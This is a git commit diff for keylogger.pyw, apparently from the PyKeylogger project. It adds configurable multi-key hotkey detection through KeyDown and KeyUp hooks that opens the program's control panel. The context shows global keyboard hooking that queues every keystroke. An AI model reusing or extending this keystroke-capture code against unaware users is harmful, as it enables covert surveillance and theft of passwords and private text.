- implement the usage of key combos for the 'control key'. fulfills a feature request.

nanotube [2007-09-04 05:24]
- implement the usage of key combos for the 'control key'. fulfills a feature request.
Filename
keylogger.pyw
diff --git a/keylogger.pyw b/keylogger.pyw
index bfba3ea..c8f293c 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -46,11 +46,13 @@ class KeyLogger:

 		self.ParseOptions()
 		self.ParseConfigFile()
+		self.ParseControlKey()
 		self.NagscreenLogic()
 		self.q = Queue.Queue(0)
 		self.hm = pyHook.HookManager()
-		self.hm.KeyDown = self.OnKeyboardEvent
-
+		self.hm.KeyDown = self.OnKeyDownEvent
+		self.hm.KeyUp = self.OnKeyUpEvent
+
 		if self.settings['General']['Hook Keyboard'] == True:
 			self.hm.HookKeyboard()
 		#if self.options.hookMouse == True:
@@ -61,9 +63,26 @@ class KeyLogger:

 	def start(self):
 		pythoncom.PumpMessages()
+
+	def ParseControlKey(self):
+		self.controlKeyList = self.settings['General']['Control Key'].split(';')
+		self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))
+
+	def MaintainControlKeyHash(self, event, updown):
+		if updown == 'Down' and event.Key in self.controlKeyHash.keys():
+			self.controlKeyHash[event.Key] = True
+		if updown == 'Up' and event.Key in self.controlKeyHash.keys():
+			self.controlKeyHash[event.Key] = False

+	def CheckForControlEvent(self):
+		if self.cmdoptions.debug:
+			print self.controlKeyHash
+		if self.controlKeyHash.values() == [True for item in self.controlKeyHash.keys()]:
+			return True
+		else:
+			return False

-	def OnKeyboardEvent(self, event):
+	def OnKeyDownEvent(self, event):
 		'''This function is the stuff that's supposed to happen when a key is pressed.
 		Puts the event in queue, and passes it on.
 		Starts control panel if proper key is pressed.
@@ -71,16 +90,26 @@ class KeyLogger:
 		#self.lw.WriteToLogFile(event)
 		self.q.put(event)

-		if event.Key == self.settings['General']['Control Key']:
+		self.MaintainControlKeyHash(event, 'Down')
+
+		if self.CheckForControlEvent():
 			if not self.panel:
 				self.lw.PrintDebug("starting panel\n")
 				self.panel = True
 				PyKeyloggerControlPanel(self.cmdoptions, self)
-			#~ else:
-				#~ print "not starting any panels"
+
+		#~ if event.Key == self.settings['General']['Control Key']:
+			#~ if not self.panel:
+				#~ self.lw.PrintDebug("starting panel\n")
+				#~ self.panel = True
+				#~ PyKeyloggerControlPanel(self.cmdoptions, self)

 		return True

+	def OnKeyUpEvent(self,event):
+		self.MaintainControlKeyHash(event, 'Up')
+		return True
+
 	def stop(self):
 		'''Exit cleanly.
 		'''
ViewGit